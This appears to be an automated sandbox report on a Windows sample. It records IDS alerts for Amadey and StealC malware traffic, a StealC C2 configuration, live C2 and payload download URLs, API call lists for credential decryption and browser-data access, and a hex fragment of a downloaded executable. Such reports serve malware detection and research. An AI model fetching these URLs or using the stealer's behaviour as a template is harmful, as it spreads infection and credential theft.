ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:27.618933+0200
SID:	2803304
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:49:07.477003+0200
SID:	2044696
Source Port:	58983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:49:04.364870+0200
SID:	2856147
Source Port:	58981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T13:49:30.986109+0200
SID:	2803304
Source Port:	59056
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:09.137809+0200
SID:	2044245
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:51:56.407476+0200
SID:	2856147
Source Port:	63428
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:50:49.295170+0200
SID:	2856147
Source Port:	63342
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:39.115411+0200
SID:	2044243
Source Port:	59079
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:51:42.894089+0200
SID:	2856147
Source Port:	63412
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:48:31.255205+0200
SID:	2022930
Source Port:	443
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:49:10.082429+0200
SID:	2044696
Source Port:	58986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:11.828563+0200
SID:	2011803
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T13:49:08.232794+0200
SID:	2803305
Source Port:	58984
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:06.690316+0200
SID:	2856122
Source Port:	80
Destination Port:	58981
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:09.131057+0200
SID:	2044244
Source Port:	58985
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:25.559863+0200
SID:	2009080
Source Port:	80
Destination Port:	59020
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.114.59.183 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:48:49.803324+0200
SID:	2022930
Source Port:	443
Destination Port:	58979
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:24.751776+0200
SID:	2009080
Source Port:	80
Destination Port:	59020
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:27.024851+0200
SID:	2009080
Source Port:	80
Destination Port:	59020
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:11.823129+0200
SID:	2011803
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:09.311711+0200
SID:	2044246
Source Port:	58985
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:28.093334+0200
SID:	2803304
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:57:08.173521+0200
SID:	2856147
Source Port:	59327
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:23.246514+0200
SID:	2803304
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 185.215.113.16 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:05.850728+0200
SID:	2009080
Source Port:	80
Destination Port:	58982
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:24.404914+0200
SID:	2803304
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:49:15.990188+0200
SID:	2044696
Source Port:	59008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:54:11.607782+0200
SID:	2856147
Source Port:	63598
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:25.295347+0200
SID:	2803304
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 6SoKuOqyNh.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.31/8405906461a5200c/mozglue.dll~	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll5	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/freebl3.dlll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/5499d72b3a3e55be.php/B	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\1000003002\d27375200a.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 6SoKuOqyNh.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	11_2_00409BB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	11_2_00418940
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	11_2_0040C660
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	11_2_00407280
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	11_2_00409B10
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C656C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	11_2_6C656C80

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Unpacked PE file: 11.2.bfb8bb0dc7.exe.400000.0.unpack
Source: C:\Users\user\1000003002\d27375200a.exe	Unpacked PE file: 12.2.d27375200a.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Unpacked PE file: 36.2.bfb8bb0dc7.exe.400000.0.unpack
Source: C:\Users\user\1000003002\d27375200a.exe	Unpacked PE file: 37.2.d27375200a.exe.400000.0.unpack

Source: 6SoKuOqyNh.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.95.31.18:443 -> 192.168.2.6:58976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.6:58977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:58978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.6:58979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.6:58980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:59023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:59033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.6:59081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:59082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.6:59084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.6:59086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.6:59102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:59101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.65.39.85:443 -> 192.168.2.6:59100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:59155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59162 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:63406 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63456 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63460 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63461 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:63514 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.27:443 -> 192.168.2.6:63518 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:63649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59316 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59315 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:59333 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: bfb8bb0dc7.exe, 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: freebl3.pdb source: freebl3.dll.11.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.11.dr
Source:	Binary string: nss3.pdb@ source: bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.11.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.11.dr, msvcp140.dll.11.dr
Source:	Binary string: nss3.pdb source: bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr
Source:	Binary string: mozglue.pdb source: bfb8bb0dc7.exe, 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.11.dr

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040D8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040F4F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040BCB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004139B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	11_2_0040E270
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_00401710
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_004143F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040DC50
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	11_2_00414050
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	11_2_0040EB60
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	11_2_004133C0

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 98MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://85.28.47.31/5499d72b3a3e55be.php

Source: unknown

Network traffic detected: DNS query count 35

Source: global traffic	TCP traffic: 192.168.2.6:59286 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:63315 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:63380 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:58975 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 11:49:05 GMTContent-Type: application/octet-streamContent-Length: 265728Last-Modified: Fri, 26 Jul 2024 11:45:54 GMTConnection: keep-aliveETag: "66a38c72-40e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 45 b1 47 ff 01 d0 29 ac 01 d0 29 ac 01 d0 29 ac 6e a6 82 ac 1a d0 29 ac 6e a6 b7 ac 11 d0 29 ac 6e a6 83 ac 65 d0 29 ac 08 a8 ba ac 08 d0 29 ac 01 d0 28 ac 73 d0 29 ac 6e a6 86 ac 00 d0 29 ac 6e a6 b3 ac 00 d0 29 ac 6e a6 b4 ac 00 d0 29 ac 52 69 63 68 01 d0 29 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f5 24 f0 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 b4 03 02 00 00 00 00 3c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 05 02 00 04 00 00 0a fe 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 58 02 00 64 00 00 00 00 c0 04 02 f0 d7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 19 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 32 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2e 02 02 00 70 02 00 00 dc 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 74 69 00 00 00 d3 02 00 00 00 a0 04 02 00 04 00 00 00 2e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6a 6f 74 69 62 65 00 00 04 00 00 00 b0 04 02 00 04 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 